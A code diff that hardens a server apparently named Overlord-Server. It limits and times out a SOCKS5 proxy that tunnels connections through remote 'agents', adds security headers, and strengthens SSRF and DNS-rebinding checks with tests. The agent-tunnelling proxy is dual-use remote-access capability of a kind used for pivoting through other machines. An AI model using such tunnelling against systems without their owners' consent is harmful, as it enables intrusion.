+}
+
// ── Types ─────────────────────────────────────────────────────────────────────
export type ProxyEntry = {
@@ -38,8 +71,10 @@ type TunnelConnection = {
connected: boolean;
/** buffer data received from SOCKS client before agent confirms */
pendingData: Buffer[];
+ pendingDataBytes: number;
/** data destined for the SOCKS client that the kernel buffer rejected; flushed on drain */
writeQueue: Buffer[];
+ writeQueueBytes: number;
};
type ProxySocketData = {
@@ -48,6 +83,8 @@ type ProxySocketData = {
/** SOCKS5 handshake phase */
phase: "greeting" | "request" | "tunneling";
buffer: Buffer;
+ /** Absolute deadline for handshake or agent-connect completion. */
+ phaseDeadline: number;
};
// ── State ─────────────────────────────────────────────────────────────────────
@@ -88,6 +125,17 @@ export function startProxy(
return { ok: false, message: `Port ${port} is already in use by another proxy` };
}
+ if (activeProxies.size >= SOCKS_PROXY_MAX_GLOBAL_LISTENERS) {
+ return { ok: false, message: "Global SOCKS5 proxy listener limit reached" };
+ }
+ let clientListenerCount = 0;
+ for (const entry of activeProxies.values()) {
+ if (entry.clientId === clientId) clientListenerCount += 1;
+ }
+ if (clientListenerCount >= SOCKS_PROXY_MAX_CLIENT_LISTENERS) {
+ return { ok: false, message: `SOCKS5 proxy listener limit reached for client ${clientId}` };
+ }
+
const target = clientManager.getClient(clientId);
if (!target) {
return { ok: false, message: `Client ${clientId} is not connected` };
@@ -97,23 +145,45 @@ export function startProxy(
try {
const listener = Bun.listen({
- hostname: "0.0.0.0",
+ hostname: SOCKS_PROXY_BIND_HOST,
port,
socket: {
open(socket) {
const connectionId = uuidv4();
+ const now = Date.now();
socket.data = {
connectionId,
proxyPort: port,
phase: "greeting",
buffer: Buffer.alloc(0),
+ phaseDeadline: now + SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS * 1000,
};
+
+ let globalConnections = 0;
+ let clientConnections = 0;
+ for (const activeEntry of activeProxies.values()) {
+ globalConnections += activeEntry.connections.size;
+ if (activeEntry.clientId === clientId) {
+ clientConnections += activeEntry.connections.size;
+ }
+ }
+ if (!hasSocksConnectionCapacity(globalConnections, clientConnections)) {
+ logger.warn(
+ `[socks5] rejected connection on port ${port}: active connection limit reached`,
+ );
+ socket.end();
+ return;
+ }
+
connections.set(connectionId, {
socket,
connected: false,
pendingData: [],
+ pendingDataBytes: 0,
writeQueue: [],
+ writeQueueBytes: 0,
});
+ socket.timeout(SOCKS_PROXY_HANDSHAKE_TIMEOUT_SECONDS);
logger.debug(
`[socks5] new connection ${connectionId} on port ${port}`,
);
@@ -160,6 +230,16 @@ export function startProxy(
flushWriteQueue(tunnel);
},
+ timeout(socket) {
+ const entry = activeProxies.get(socket.data.proxyPort);
+ const tunnel = entry?.connections.get(socket.data.connectionId);
+ if (entry && tunnel) {
+ closeTunnel(entry, tunnel, "timeout");
+ } else {
+ try { socket.end(); } catch {}
+ }
+ },
+
error(socket, err) {
logger.error(
`[socks5] socket error conn=${socket.data?.connectionId}`,
@@ -178,9 +258,9 @@ export function startProxy(
};
activeProxies.set(port, entry);
logger.info(
- `[socks5] proxy started on port ${port} for client ${clientId}`,
+ `[socks5] proxy started on ${SOCKS_PROXY_BIND_HOST}:${port} for client ${clientId}`,
);
- return { ok: true, message: `Proxy started on port ${port}` };
+ return { ok: true, message: `Proxy started on ${SOCKS_PROXY_BIND_HOST}:${port}` };
} catch (err: any) {
return {
ok: false,
@@ -245,13 +325,71 @@ export function handleProxyTunnelData(
}
}
+function closeTunnel(
+ entry: ProxyEntry,
+ tunnel: TunnelConnection,
+ reason: string,
+): void {
+ const connectionId = tunnel.socket.data.connectionId;
+ tunnel.pendingData = [];
+ tunnel.pendingDataBytes = 0;
+ tunnel.writeQueue = [];
+ tunnel.writeQueueBytes = 0;
+ entry.connections.delete(connectionId);
+ logger.warn(`[socks5] closing ${connectionId}: ${reason}`);
+ try { tunnel.socket.end(); } catch {}
+
+ const agent = clientManager.getClient(entry.clientId);
+ if (!agent) return;
+ try {
+ agent.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "proxy_close",
+ id: connectionId,
+ } as any),
+ );
+ } catch {}
+}
+
+function closeTunnelForBufferOverflow(
+ entry: ProxyEntry | undefined,
+ tunnel: TunnelConnection,
+ queueName: "pending" | "write",
+): void {
+ if (entry) {
+ closeTunnel(entry, tunnel, `${queueName} buffer limit exceeded`);
+ return;
+ }
+ tunnel.pendingData = [];
+ tunnel.pendingDataBytes = 0;
+ tunnel.writeQueue = [];
+ tunnel.writeQueueBytes = 0;
+ try { tunnel.socket.end(); } catch {}
+}
+
function writeToTunnelSocket(
tunnel: TunnelConnection,
data: Buffer | Uint8Array,
): void {
+ tunnel.socket.timeout(SOCKS_PROXY_IDLE_TIMEOUT_SECONDS);
const buf = Buffer.isBuffer(data) ? data : Buffer.from(data);
if (tunnel.writeQueue.length > 0) {
- tunnel.writeQueue.push(buf);
+ const nextBytes = enqueueSocksBuffer(
+ tunnel.writeQueue,
+ tunnel.writeQueueBytes,
+ buf,
+ SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES,
+ );
+ if (nextBytes === null) {
+ closeTunnelForBufferOverflow(
+ activeProxies.get(tunnel.socket.data.proxyPort),
+ tunnel,
+ "write",
+ );
+ return;
+ }
+ tunnel.writeQueueBytes = nextBytes;
return;
}
let written: number;
@@ -261,7 +399,22 @@ function writeToTunnelSocket(
return;
}
if (written < buf.length) {
- tunnel.writeQueue.push(buf.subarray(Math.max(written, 0)));
+ const remaining = buf.subarray(Math.max(written, 0));
+ const nextBytes = enqueueSocksBuffer(
+ tunnel.writeQueue,
+ tunnel.writeQueueBytes,
+ remaining,
+ SOCKS_PROXY_MAX_WRITE_QUEUE_BYTES,
+ );
+ if (nextBytes === null) {
+ closeTunnelForBufferOverflow(
+ activeProxies.get(tunnel.socket.data.proxyPort),
+ tunnel,
+ "write",
+ );
+ return;
+ }
+ tunnel.writeQueueBytes = nextBytes;
}
}
@@ -273,14 +426,19 @@ function flushWriteQueue(tunnel: TunnelConnection): void {
written = tunnel.socket.write(next);
} catch {
tunnel.writeQueue.length = 0;
+ tunnel.writeQueueBytes = 0;
return;
}
if (written < next.length) {
- tunnel.writeQueue[0] = next.subarray(Math.max(written, 0));
+ const consumed = Math.max(written, 0);
+ tunnel.writeQueueBytes -= consumed;
+ tunnel.writeQueue[0] = next.subarray(consumed);
return;
}
tunnel.writeQueue.shift();
+ tunnel.writeQueueBytes -= next.length;
}
+ tunnel.writeQueueBytes = 0;
}
/** Called when the agent closes its side of a tunnel */
@@ -313,6 +471,8 @@ export function handleProxyConnectResult(
if (ok) {
tunnel.connected = true;
+ tunnel.socket.data.phaseDeadline = 0;
+ tunnel.socket.timeout(SOCKS_PROXY_IDLE_TIMEOUT_SECONDS);
// send SOCKS5 success response
// VER | REP | RSV | ATYP | BND.ADDR (4 bytes) | BND.PORT (2 bytes)
tunnel.socket.write(
@@ -324,6 +484,7 @@ export function handleProxyConnectResult(
sendDataToAgent(entry.clientId, connectionId, buf);
}
tunnel.pendingData = [];
+ tunnel.pendingDataBytes = 0;
} else {
logger.debug(`[socks5] tunnel rejected by agent (conn=${connectionId})`);
// SOCKS5 connection-refused reply
@@ -343,21 +504,55 @@ function handleSocksData(
entry: ProxyEntry,
) {
const { connectionId, phase } = socket.data;
+ const tunnel = entry.connections.get(connectionId);
+ const waitingForSetup = phase !== "tunneling" || !tunnel?.connected;
+ if (waitingForSetup && Date.now() >= socket.data.phaseDeadline) {
+ if (tunnel) closeTunnel(entry, tunnel, "handshake/connect deadline exceeded");
+ else socket.end();
+ return;
+ }
+ if (waitingForSetup) {
+ const remainingSeconds = Math.max(
+ 1,
+ Math.ceil((socket.data.phaseDeadline - Date.now()) / 1000),
+ );
+ socket.timeout(remainingSeconds);
+ } else {
+ socket.timeout(SOCKS_PROXY_IDLE_TIMEOUT_SECONDS);
+ }
if (phase === "tunneling") {
- const tunnel = entry.connections.get(connectionId);
if (!tunnel) {
socket.end();
return;
}
if (!tunnel.connected) {
- tunnel.pendingData.push(incoming);
+ const nextBytes = enqueueSocksBuffer(
+ tunnel.pendingData,
+ tunnel.pendingDataBytes,
+ incoming,
+ SOCKS_PROXY_MAX_PENDING_BYTES,
+ );
+ if (nextBytes === null) {
+ closeTunnelForBufferOverflow(entry, tunnel, "pending");
+ return;
+ }
+ tunnel.pendingDataBytes = nextBytes;
return;
}
sendDataToAgent(entry.clientId, connectionId, incoming);
return;
}
+ if (socket.data.buffer.byteLength + incoming.byteLength > SOCKS_PROXY_MAX_HANDSHAKE_BYTES) {
+ const tunnel = entry.connections.get(connectionId);
+ if (tunnel) {
+ closeTunnelForBufferOverflow(entry, tunnel, "pending");
+ } else {
+ socket.end();
+ }
+ return;
+ }
socket.data.buffer = Buffer.concat([socket.data.buffer, incoming]);
const buf = socket.data.buffer;
@@ -455,6 +650,8 @@ function handleSocksData(
socket.data.phase = "tunneling";
socket.data.buffer = Buffer.alloc(0);
+ socket.data.phaseDeadline = Date.now() + SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS * 1000;
+ socket.timeout(SOCKS_PROXY_CONNECT_TIMEOUT_SECONDS);
const agent = clientManager.getClient(entry.clientId);
if (!agent) {
@@ -466,19 +663,37 @@ function handleSocksData(
return;
}
- agent.ws.send(
- encodeMessage({
- type: "command",
- commandType: "proxy_connect",
- id: connectionId,
- payload: { host, port },
- } as any),
- );
+ try {
+ agent.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "proxy_connect",
+ id: connectionId,
+ payload: { host, port },
+ } as any),
+ );
+ } catch {
+ const activeTunnel = entry.connections.get(connectionId);
+ if (activeTunnel) closeTunnel(entry, activeTunnel, "failed to contact agent");
+ return;
+ }
const remaining = buf.subarray(portOffset + 2);
if (remaining.length > 0) {
const tunnel = entry.connections.get(connectionId);
- if (tunnel) tunnel.pendingData.push(remaining);
+ if (tunnel) {
+ const nextBytes = enqueueSocksBuffer(
+ tunnel.pendingData,
+ tunnel.pendingDataBytes,
+ remaining,
+ SOCKS_PROXY_MAX_PENDING_BYTES,
+ );
+ if (nextBytes === null) {
+ closeTunnelForBufferOverflow(entry, tunnel, "pending");
+ return;
+ }
+ tunnel.pendingDataBytes = nextBytes;
+ }
}
return;
}
diff --git a/Overlord-Server/src/server/ui/html.ts b/Overlord-Server/src/server/ui/html.ts
index ad11fb3..6f076c8 100644
--- a/Overlord-Server/src/server/ui/html.ts
+++ b/Overlord-Server/src/server/ui/html.ts
@@ -1,3 +1,5 @@
+import { SECURITY_HEADERS } from "../http-security";
+
export function escapeHtml(value: unknown): string {
return String(value ?? "")
.replaceAll("&", "&")
@@ -12,6 +14,9 @@ export function htmlResponse(
init: ResponseInit = {},
): Response {
const headers = new Headers(init.headers);
+ for (const [name, value] of Object.entries(SECURITY_HEADERS)) {
+ if (!headers.has(name)) headers.set(name, value);
+ }
headers.set("Content-Type", "text/html; charset=utf-8");
headers.set("Cache-Control", "no-store");
headers.append("Vary", "Turbo-Frame");
diff --git a/Overlord-Server/src/server/url-security.test.ts b/Overlord-Server/src/server/url-security.test.ts
index 980dd63..f07c57a 100644
--- a/Overlord-Server/src/server/url-security.test.ts
+++ b/Overlord-Server/src/server/url-security.test.ts
@@ -1,5 +1,9 @@
import { describe, expect, test } from "bun:test";
-import { isPrivateOrLocalAddress, validatePublicHttpUrl } from "./url-security";
+import {
+ createSafeUpstreamResponse,
+ isPrivateOrLocalAddress,
+ validatePublicHttpUrl,
+} from "./url-security";
describe("isPrivateOrLocalAddress", () => {
test("flags local and private IPv4 ranges", () => {
@@ -15,6 +19,9 @@ describe("isPrivateOrLocalAddress", () => {
expect(isPrivateOrLocalAddress("fe80::1")).toBe(true);
expect(isPrivateOrLocalAddress("fd00::1")).toBe(true);
expect(isPrivateOrLocalAddress("::ffff:127.0.0.1")).toBe(true);
+ expect(isPrivateOrLocalAddress("::ffff:7f00:1")).toBe(true);
+ expect(isPrivateOrLocalAddress("fe9f::1")).toBe(true);
+ expect(isPrivateOrLocalAddress("ff02::1")).toBe(true);
});
test("allows public addresses", () => {
@@ -33,13 +40,43 @@ describe("validatePublicHttpUrl", () => {
await expect(
validatePublicHttpUrl("https://example.test/file.bin", async () => [{ address: "10.0.0.5" }]),
).rejects.toThrow("private/internal");
+ await expect(
+ validatePublicHttpUrl(
+ "https://example.test/file.bin",
+ async () => [{ address: "93.184.216.34" }, { address: "127.0.0.1" }],
+ ),
+ ).rejects.toThrow("private/internal");
});
test("allows hostnames that resolve to public addresses", async () => {
const parsed = await validatePublicHttpUrl(
"https://example.test/file.bin",
- async () => [{ address: "203.0.113.10" }],
+ async () => [{ address: "93.184.216.34" }],
);
expect(parsed.hostname).toBe("example.test");
});
});
+
+describe("createSafeUpstreamResponse", () => {
+ test("normalizes non-Fetch HTTP status codes instead of throwing", async () => {
+ const response = createSafeUpstreamResponse(
+ new TextEncoder().encode("upstream body"),
+ 999,
+ "Odd upstream status",
+ ["Content-Type", "text/plain"],
+ );
+ expect(response.status).toBe(502);
+ expect(await response.text()).toBe("upstream body");
+ });
+
+ test("drops bodies for statuses that forbid a Fetch response body", async () => {
+ const response = createSafeUpstreamResponse(
+ new TextEncoder().encode("invalid body"),
+ 204,
+ "No Content",
+ [],
+ );
+ expect(response.status).toBe(204);
+ expect(await response.text()).toBe("");
+ });
+});
diff --git a/Overlord-Server/src/server/url-security.ts b/Overlord-Server/src/server/url-security.ts
index 4e6da30..22465c2 100644
--- a/Overlord-Server/src/server/url-security.ts
+++ b/Overlord-Server/src/server/url-security.ts
@@ -1,4 +1,6 @@
import { lookup as dnsLookup } from "node:dns/promises";
+import { request as httpRequest } from "node:http";
+import { request as httpsRequest } from "node:https";
import { isIP } from "node:net";
export const DEFAULT_FETCH_URL_MAX_BYTES = 250 * 1024 * 1024;
@@ -21,30 +23,97 @@ function ipv4ToBytes(address: string): number[] | null {
function isPrivateIPv4(address: string): boolean {
const b = ipv4ToBytes(address);
if (!b) return true;
- const [a, c] = b;
+ const [a, second, third] = b;
return (
a === 0 ||
a === 10 ||
a === 127 ||
- (a === 100 && c >= 64 && c <= 127) ||
- (a === 169 && c === 254) ||
- (a === 172 && c >= 16 && c <= 31) ||
- (a === 192 && c === 168) ||
- (a === 192 && c === 0) ||
- (a === 198 && (c === 18 || c === 19)) ||
+ (a === 100 && second >= 64 && second <= 127) ||
+ (a === 169 && second === 254) ||
+ (a === 172 && second >= 16 && second <= 31) ||
+ (a === 192 && second === 168) ||
+ (a === 192 && second === 0 && (third === 0 || third === 2)) ||
+ (a === 192 && second === 88 && third === 99) ||
+ (a === 198 && (second === 18 || second === 19)) ||
+ (a === 198 && second === 51 && third === 100) ||
+ (a === 203 && second === 0 && third === 113) ||
a >= 224
);
}
-function isPrivateIPv6(address: string): boolean {
- const host = normalizeHost(address);
- if (host === "::" || host === "::1") return true;
- if (host.startsWith("fe80:")) return true;
- const firstHextet = Number.parseInt(host.split(":")[0] || "0", 16);
- if (Number.isFinite(firstHextet) && (firstHextet & 0xfe00) === 0xfc00) return true;
+function ipv6ToBytes(address: string): number[] | null {
+ let host = normalizeHost(address).split("%")[0];
+ if (!host) return null;
- const mapped = host.match(/::ffff:(\d+\.\d+\.\d+\.\d+)$/i);
- if (mapped) return isPrivateIPv4(mapped[1]);
+ const dottedMatch = host.match(/^(.*:)(\d+\.\d+\.\d+\.\d+)$/);
+ if (dottedMatch) {
+ const ipv4 = ipv4ToBytes(dottedMatch[2]);
+ if (!ipv4) return null;
+ host = `${dottedMatch[1]}${((ipv4[0] << 8) | ipv4[1]).toString(16)}:${((ipv4[2] << 8) | ipv4[3]).toString(16)}`;
+ }
+
+ const halves = host.split("::");
+ if (halves.length > 2) return null;
+ const parseHalf = (half: string): number[] | null => {
+ if (!half) return [];
+ const values = half.split(":").map((part) => Number.parseInt(part, 16));
+ if (
+ values.some((value, index) =>
+ !/^[0-9a-f]{1,4}$/i.test(half.split(":")[index] || "") ||
+ !Number.isInteger(value) ||
+ value < 0 ||
+ value > 0xffff
+ )
+ ) {
+ return null;
+ }
+ return values;
+ };
+
+ const left = parseHalf(halves[0]);
+ const right = parseHalf(halves[1] ?? "");
+ if (!left || !right) return null;
+ const missing = 8 - left.length - right.length;
+ if ((halves.length === 1 && missing !== 0) || (halves.length === 2 && missing < 1)) return null;
+ const words = halves.length === 2
+ ? [...left, ...new Array(missing).fill(0), ...right]
+ : left;
+ if (words.length !== 8) return null;
+
+ const bytes: number[] = [];
+ for (const word of words) bytes.push(word >> 8, word & 0xff);
+ return bytes;
+}
+
+function isPrivateIPv6(address: string): boolean {
+ const bytes = ipv6ToBytes(address);
+ if (!bytes) return true;
+
+ // Unspecified, loopback, and deprecated IPv4-compatible space.
+ if (bytes.slice(0, 12).every((byte) => byte === 0)) return true;
+
+ // IPv4-mapped IPv6 addresses inherit the embedded IPv4 classification.
+ if (
+ bytes.slice(0, 10).every((byte) => byte === 0) &&
+ bytes[10] === 0xff &&
+ bytes[11] === 0xff
+ ) {
+ return isPrivateIPv4(bytes.slice(12).join("."));
+ }
+
+ const first = (bytes[0] << 8) | bytes[1];
+ if ((first & 0xfe00) === 0xfc00) return true; // Unique-local fc00::/7.
+ if ((first & 0xffc0) === 0xfe80) return true; // Link-local fe80::/10.
+ if ((first & 0xffc0) === 0xfec0) return true; // Deprecated site-local fec0::/10.
+ if (bytes[0] === 0xff) return true; // Multicast ff00::/8.
+
+ // Special translation/tunneling/documentation ranges should never be
+ // treated as ordinary public destinations for server-side fetches.
+ if (first === 0x0064 && bytes[2] === 0xff && bytes[3] === 0x9b) return true;
+ if (first === 0x0100 && bytes.slice(2, 8).every((byte) => byte === 0)) return true;
+ if (first === 0x2001 && bytes[2] === 0x0d && bytes[3] === 0xb8) return true;
+ if (first === 0x2001 && bytes[2] === 0 && bytes[3] === 0) return true;
+ if (first === 0x2002) return true;
return false;
}
@@ -61,10 +130,10 @@ async function defaultLookup(hostname: string): Promise {
return await dnsLookup(hostname, { all: true, verbatim: true });
}
-export async function validatePublicHttpUrl(
+async function resolvePublicHttpUrl(
rawUrl: string,
lookupFn: LookupFn = defaultLookup,
-): Promise {
+): Promise<{ parsed: URL; addresses: LookupAddress[] }> {
let parsed: URL;
try {
parsed = new URL(rawUrl);
@@ -85,12 +154,215 @@ export async function validatePublicHttpUrl(
}
const literalFamily = isIP(hostname);
- const addresses = literalFamily ? [{ address: hostname }] : await lookupFn(hostname);
+ const addresses = literalFamily ? [{ address: hostname }] : await lookupWithDeadline(hostname, lookupFn);
if (addresses.length === 0 || addresses.some((entry) => isPrivateOrLocalAddress(entry.address))) {
throw new Error("URLs pointing to private/internal addresses are not allowed");
}
- return parsed;
+ return { parsed, addresses };
+}
+
+export async function validatePublicHttpUrl(
+ rawUrl: string,
+ lookupFn: LookupFn = defaultLookup,
+): Promise {
+ return (await resolvePublicHttpUrl(rawUrl, lookupFn)).parsed;
+}
+
+export type PublicHttpRequestOptions = {
+ maxResponseBytes?: number;
+ timeoutMs?: number;
+ lookupFn?: LookupFn;
+};
+
+export function createSafeUpstreamResponse(
+ body: Uint8Array,
+ statusCode: number | undefined,
+ statusMessage: string | undefined,
+ rawHeaders: string[],
+): Response {
+ const responseHeaders = new Headers();
+ for (let i = 0; i < rawHeaders.length; i += 2) {
+ responseHeaders.append(rawHeaders[i], rawHeaders[i + 1] ?? "");
+ }
+ const rawStatus = Number(statusCode);
+ const status = Number.isInteger(rawStatus) && rawStatus >= 200 && rawStatus <= 599
+ ? rawStatus
+ : 502;
+ const responseBody = status === 204 || status === 205 || status === 304 ? null : body;
+ return new Response(responseBody, {
+ status,
+ statusText: status === rawStatus ? statusMessage : undefined,
+ headers: responseHeaders,
+ });
+}
+
+const DEFAULT_PUBLIC_HTTP_RESPONSE_MAX_BYTES = 64 * 1024;
+const DEFAULT_PUBLIC_HTTP_TIMEOUT_MS = 15_000;
+const PUBLIC_DNS_LOOKUP_TIMEOUT_MS = 5_000;
+
+async function lookupWithDeadline(
+ hostname: string,
+ lookupFn: LookupFn,
+): Promise {
+ let timer: ReturnType | undefined;
+ try {
+ return await Promise.race([
+ lookupFn(hostname),
+ new Promise((_, reject) => {
+ timer = setTimeout(() => reject(new Error("DNS lookup timed out")), PUBLIC_DNS_LOOKUP_TIMEOUT_MS);
+ }),
+ ]);
+ } finally {
+ if (timer) clearTimeout(timer);
+ }
+}
+
+/**
+ * Fetch an untrusted public URL while pinning the socket to the address that was
+ * checked. This closes the DNS-rebinding gap between validation and connect.
+ * Redirects are deliberately returned to the caller rather than followed.
+ */
+export async function fetchPublicHttpResponse(
+ rawUrl: string,
+ init: RequestInit = {},
+ options: PublicHttpRequestOptions = {},
+): Promise {
+ const { parsed, addresses } = await resolvePublicHttpUrl(
+ rawUrl,
+ options.lookupFn ?? defaultLookup,
+ );
+ const pinned = addresses[0];
+ const family = isIP(normalizeHost(pinned.address));
+ if (family !== 4 && family !== 6) {
+ throw new Error("Resolved URL address is invalid");
+ }
+
+ const prepared = new Request(parsed, init);
+ const requestBody = prepared.body
+ ? new Uint8Array(await prepared.arrayBuffer())
+ : null;
+ const headers = new Headers(prepared.headers);
+ if (requestBody && !headers.has("content-length")) {
+ headers.set("content-length", String(requestBody.byteLength));
+ }
+
+ const maxResponseBytes = Math.max(
+ 0,
+ Math.floor(options.maxResponseBytes ?? DEFAULT_PUBLIC_HTTP_RESPONSE_MAX_BYTES),
+ );
+ const timeoutMs = Math.max(
+ 1,
+ Math.floor(options.timeoutMs ?? DEFAULT_PUBLIC_HTTP_TIMEOUT_MS),
+ );
+ const requestImpl = parsed.protocol === "https:" ? httpsRequest : httpRequest;
+
+ return await new Promise((resolve, reject) => {
+ let settled = false;
+ let absoluteTimer: ReturnType | undefined;
+ const clearAbsoluteTimer = () => {
+ if (absoluteTimer) {
+ clearTimeout(absoluteTimer);
+ absoluteTimer = undefined;
+ }
+ };
+ const finishReject = (error: Error) => {
+ if (settled) return;
+ settled = true;
+ clearAbsoluteTimer();
+ reject(error);
+ };
+
+ const request = requestImpl(
+ parsed,
+ {
+ method: prepared.method,
+ headers: Object.fromEntries(headers.entries()),
+ lookup: ((
+ _hostname: string,
+ optionsOrCallback: any,
+ maybeCallback?: any,
+ ) => {
+ const callback = typeof optionsOrCallback === "function"
+ ? optionsOrCallback
+ : maybeCallback;
+ if (typeof callback !== "function") return;
+ if (optionsOrCallback?.all) {
+ callback(null, [{ address: pinned.address, family }]);
+ } else {
+ callback(null, pinned.address, family);
+ }
+ }) as any,
+ },
+ (response) => {
+ const chunks: Uint8Array[] = [];
+ let total = 0;
+
+ response.on("data", (chunk: Uint8Array) => {
+ if (settled) return;
+ const bytes = chunk instanceof Uint8Array ? chunk : new Uint8Array(chunk);
+ total += bytes.byteLength;
+ if (total > maxResponseBytes) {
+ response.destroy();
+ request.destroy();
+ finishReject(new Error(`Remote response exceeds ${maxResponseBytes} byte limit`));
+ return;
+ }
+ chunks.push(bytes);
+ });
+ response.on("error", (error) => finishReject(error));
+ response.on("end", () => {
+ if (settled) return;
+ try {
+ const body = new Uint8Array(total);
+ let offset = 0;
+ for (const chunk of chunks) {
+ body.set(chunk, offset);
+ offset += chunk.byteLength;
+ }
+ const safeResponse = createSafeUpstreamResponse(
+ body,
+ response.statusCode,
+ response.statusMessage,
+ response.rawHeaders,
+ );
+ settled = true;
+ clearAbsoluteTimer();
+ resolve(safeResponse);
+ } catch (error) {
+ finishReject(error instanceof Error ? error : new Error(String(error)));
+ }
+ });
+ },
+ );
+
+ request.setTimeout(timeoutMs, () => {
+ request.destroy();
+ finishReject(new Error("Remote request timed out"));
+ });
+ absoluteTimer = setTimeout(() => {
+ request.destroy();
+ finishReject(new Error("Remote request exceeded its absolute time limit"));
+ }, timeoutMs);
+ request.on("error", (error) => finishReject(error));
+
+ if (prepared.signal.aborted) {
+ request.destroy();
+ finishReject(new Error("Remote request aborted"));
+ return;
+ }
+ prepared.signal.addEventListener(
+ "abort",
+ () => {
+ request.destroy();
+ finishReject(new Error("Remote request aborted"));
+ },
+ { once: true },
+ );
+
+ if (requestBody) request.write(requestBody);
+ request.end();
+ });
}
export function getFetchUrlMaxBytes(): number {
@@ -107,17 +379,11 @@ export async function fetchPublicUrlBytes(
let current = await validatePublicHttpUrl(rawUrl, lookupFn);
for (let redirects = 0; redirects <= 3; redirects += 1) {
- const controller = new AbortController();
- const timeout = setTimeout(() => controller.abort(), 60_000);
- let response: Response;
- try {
- response = await fetch(current, {
- redirect: "manual",
- signal: controller.signal,
- });
- } finally {
- clearTimeout(timeout);
- }
+ const response = await fetchPublicHttpResponse(
+ current.toString(),
+ { method: "GET" },
+ { maxResponseBytes: maxBytes, timeoutMs: 60_000, lookupFn },
+ );
if (response.status >= 300 && response.status < 400) {
const location = response.headers.get("location");
@@ -131,35 +397,7 @@ export async function fetchPublicUrlBytes(
throw new Error(`Remote fetch failed: ${response.status}`);
}
- const length = Number(response.headers.get("content-length") || 0);
- if (Number.isFinite(length) && length > maxBytes) {
- throw new Error(`Remote file exceeds ${maxBytes} byte limit`);
- }
-
- const chunks: Uint8Array[] = [];
- let total = 0;
- const reader = response.body?.getReader();
- if (!reader) return { bytes: new Uint8Array(), finalUrl: current };
-
- while (true) {
- const { done, value } = await reader.read();
- if (done) break;
- if (!value) continue;
- total += value.byteLength;
- if (total > maxBytes) {
- try { await reader.cancel(); } catch {}
- throw new Error(`Remote file exceeds ${maxBytes} byte limit`);
- }
- chunks.push(value);
- }
-
- const bytes = new Uint8Array(total);
- let offset = 0;
- for (const chunk of chunks) {
- bytes.set(chunk, offset);
- offset += chunk.byteLength;
- }
- return { bytes, finalUrl: current };
+ return { bytes: new Uint8Array(await response.arrayBuffer()), finalUrl: current };
}
throw new Error("Too many redirects");
diff --git a/Overlord-Server/src/server/web-push.security.test.ts b/Overlord-Server/src/server/web-push.security.test.ts
new file mode 100644
index 0000000..a539ded
--- /dev/null
+++ b/Overlord-Server/src/server/web-push.security.test.ts
@@ -0,0 +1,115 @@
+import { describe, expect, test } from "bun:test";
+import {
+ dispatchGeneratedWebPushRequest,
+ sendWebPush,
+ webPushResultForStatus,
+} from "./web-push";
+
+describe("web push transport security", () => {
+ test("routes generated request details through the pinned public HTTP transport", async () => {
+ const body = Buffer.from([1, 2, 3, 4]);
+ const calls: Array<{ url: string; init: RequestInit }> = [];
+
+ const response = await dispatchGeneratedWebPushRequest(
+ {
+ endpoint: "https://push.example.test/subscription/abc",
+ method: "POST",
+ headers: { TTL: 3600, Authorization: "vapid token" },
+ body,
+ },
+ async (url, init = {}) => {
+ calls.push({ url, init });
+ return new Response(null, { status: 201 });
+ },
+ );
+
+ const observed = calls[0];
+ expect(response.status).toBe(201);
+ expect(observed.url).toBe("https://push.example.test/subscription/abc");
+ expect(observed.init.method).toBe("POST");
+ expect(new Headers(observed.init.headers).get("authorization")).toBe("vapid token");
+ expect(new Headers(observed.init.headers).get("ttl")).toBe("3600");
+ expect(new Uint8Array(await new Response(observed.init.body).arrayBuffer())).toEqual(
+ new Uint8Array(body),
+ );
+ });
+
+ test("rejects non-HTTPS generated endpoints before invoking transport", async () => {
+ let invoked = false;
+ await expect(
+ dispatchGeneratedWebPushRequest(
+ {
+ endpoint: "http://push.example.test/subscription/abc",
+ method: "POST",
+ headers: {},
+ body: null,
+ },
+ async () => {
+ invoked = true;
+ return new Response(null, { status: 201 });
+ },
+ ),
+ ).rejects.toThrow("must use HTTPS");
+ expect(invoked).toBe(false);
+ });
+
+ test("rejects credentialed generated endpoints before invoking transport", async () => {
+ let invoked = false;
+ await expect(
+ dispatchGeneratedWebPushRequest(
+ {
+ endpoint: "https://user:pass@push.example.test/subscription/abc",
+ method: "POST",
+ headers: {},
+ body: null,
+ },
+ async () => {
+ invoked = true;
+ return new Response(null, { status: 201 });
+ },
+ ),
+ ).rejects.toThrow("embedded credentials");
+ expect(invoked).toBe(false);
+ });
+
+ test("rejects private literal endpoints in the real pinned transport", async () => {
+ await expect(
+ dispatchGeneratedWebPushRequest({
+ endpoint: "https://127.0.0.1:8443/push",
+ method: "POST",
+ headers: {},
+ body: null,
+ }),
+ ).rejects.toThrow("private/internal");
+ });
+
+ test("preserves success and expired-subscription status semantics", () => {
+ expect(webPushResultForStatus(201)).toEqual({ success: true });
+ expect(webPushResultForStatus(404)).toEqual({
+ success: false,
+ gone: true,
+ error: "subscription gone (404)",
+ });
+ expect(webPushResultForStatus(410)).toEqual({
+ success: false,
+ gone: true,
+ error: "subscription gone (410)",
+ });
+ expect(webPushResultForStatus(500)).toEqual({
+ success: false,
+ error: "Received unexpected response code",
+ });
+ });
+
+ test("preserves the public HTTPS requirement before loading push keys", async () => {
+ const result = await sendWebPush(
+ {
+ endpoint: "http://93.184.216.34/push",
+ keys: { p256dh: "unused", auth: "unused" },
+ },
+ "payload",
+ );
+
+ expect(result).toEqual({ success: false, error: "push endpoint must use HTTPS" });
+ });
+});
diff --git a/Overlord-Server/src/server/web-push.ts b/Overlord-Server/src/server/web-push.ts
index af40ca0..c9bc124 100644
--- a/Overlord-Server/src/server/web-push.ts
+++ b/Overlord-Server/src/server/web-push.ts
@@ -3,6 +3,7 @@ import { existsSync, readFileSync, writeFileSync } from "fs";
import { resolve } from "path";
import { ensureDataDir } from "../paths";
import { logger } from "../logger";
+import { fetchPublicHttpResponse, validatePublicHttpUrl } from "./url-security";
let vapidKeys: { publicKey: string; privateKey: string } | null = null;
@@ -46,16 +47,85 @@ export function getVapidPublicKey(): string {
return loadOrGenerateVapidKeys().publicKey;
}
+type GeneratedWebPushRequest = {
+ endpoint: string;
+ method: string;
+ headers: Record;
+ body: Buffer | null;
+};
+
+type PublicHttpRequest = typeof fetchPublicHttpResponse;
+
+type WebPushResult = { success: boolean; gone?: boolean; error?: string };
+
